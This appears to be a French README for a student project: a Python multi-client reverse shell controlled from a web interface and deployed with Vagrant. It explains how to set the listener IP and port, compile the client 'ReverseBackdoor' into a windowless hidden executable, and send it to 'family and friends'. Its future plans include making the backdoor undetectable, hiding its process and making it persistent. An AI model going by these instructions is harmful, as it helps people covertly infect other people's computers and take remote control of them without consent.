Reverse-shell en interface Web
Dans le cadre du projet 2020 UF infrastucture & Système d'information, nous avons réalisé un reverse shell en python avec un contrôle depuis une interface web, ainsi qu'un déploiement à l'aide de vagrant.
Réalisé par CEBERIO Pierre @PierreYnov et USEREAU Lucas @Saluc .
Sommaire
Documentation d'installation
Manuel d'installation étape par étape du reverse shell
0. Prérequis
Le projet demande trois prérequis, avoir vagrant, virtualbox et le module python pyinstaller d'installé sur son PC.
Disponible ici !
I. Git clone
Cloner le repository avec la commande: git clone https://github.com/Saluc00/UF-Infra-B2.git
.
II. Vagrant
Suivant le port que vous souhaitez utiliser, changez le port dans le VagrantFile du côté HOST !! Important !!
Placez-vous dans le fichier vagrant et faites la commande: vagrant up
.
Attendre la fin de l'initialisation du VagrantFile..
Une fois l'installation du VagrantFile ok, faites le commande vagrant ssh
.
Pour lancer le serveur python, il se trouve dans UF-Infra-B2\Multi-Client-Reverse-Shell
.
La commande pour UP le serveur: python3 Listener.py
Documentation d'utilisation
Serveur
Vous devez tout d'abord ouvrir un port sur votre serveur afin d'écouter dessus et permettre aux pc infectés de s'y connecter. La manière d'ouvrir un port diffère en fonction de votre OS, vous pouvez vous référer à ces liens pour Windows, OSX et Ubuntu :
Une fois le port que vous avez choisi est ouvert, rendez vous dans le fichier Listener.py et allez à la ligne 341 remplacer le port 9999 par le votre.
Le serveur est maintenant prêt, il suffit de lancer l'écoute et attendre que les clients se connectent :
python3 Listener.py
La commande list
permet de lister les clients actuellement connectés, il suffit ensuite de sélectionner le pc sur lequel on veut intervenir avec la commande select
suivi de l'index du pc.
Pour quitter le shell sur le pc où l'on est, il suffit d'écrire quit
.
Pour quitter l'interface Web du Reverse-Shell, il suffit de taper exit
.
La commande help
vous donnera les informations détaillés sur chaque commande.
La commande upload
permet d'envoyer un fichier qu'on a sur le serveur, sur le client ( la commande download
est encore en réalisation, elle fera l'inverse).
Client
Afin d'être fonctionnel, il est nécessaire côté client (ReverseBackdoor.py) d'adresser l'IP de votre hôte (qui vous permettra de contrôler les ordinateurs ) à la ligne 164 (listenerIP) ainsi que de donner le port sur lequel écoute votre hôte à la ligne 165 (listenerPort).
à la ligne 164 et 165:
listenerIP = "77.202.221.174" # Ici mettre votre IP
listenerPort = 9999 # Ici le port que vous avez mis en host dans le fichier vagrant
Pour compiler le ReverseBackdoor.py, vous aurez besoin de pyinstaller :
pip install pyinstaller
Tapez ensuite :
pyinstaller --onefile --windowed ReverseBackdoor.py
afin d'avoir le fichier ReverseBackdoor.exe en un seul fichier (sans librairie) et qui n'affiche aucune console quand vous l'exécutez mais qui reste en background.
Puis envoyer le fichier .exe créé à toutes votre famille et amis !
Pour aller plus loin
- Régler les problèmes d'encodage
- Fix la commande
download
- Avoir l'interface Web SSH sur notre serveur ( dépendance actuel de https://app.shellngn.com/ )
- Automatisation des tâches sur tout les ordinateurs qu'on contrôle ( pas en interactif à la mano, maybe tmux ? )
- FUD la backdoorReverseShell, cacher le processus et le rendre permanent.
- To be continued ...
Crédits
- Shell python utilisé: https://github.com/mustafadalga/Multi-Client-Reverse-Shell
- Machine virtuelle utilisé sur le serveur d'AFN: https://awayfrom.network/
- Vagrant: https://www.vagrantup.com/
- VirtualBox: https://www.virtualbox.org/
- Python: https://www.python.org/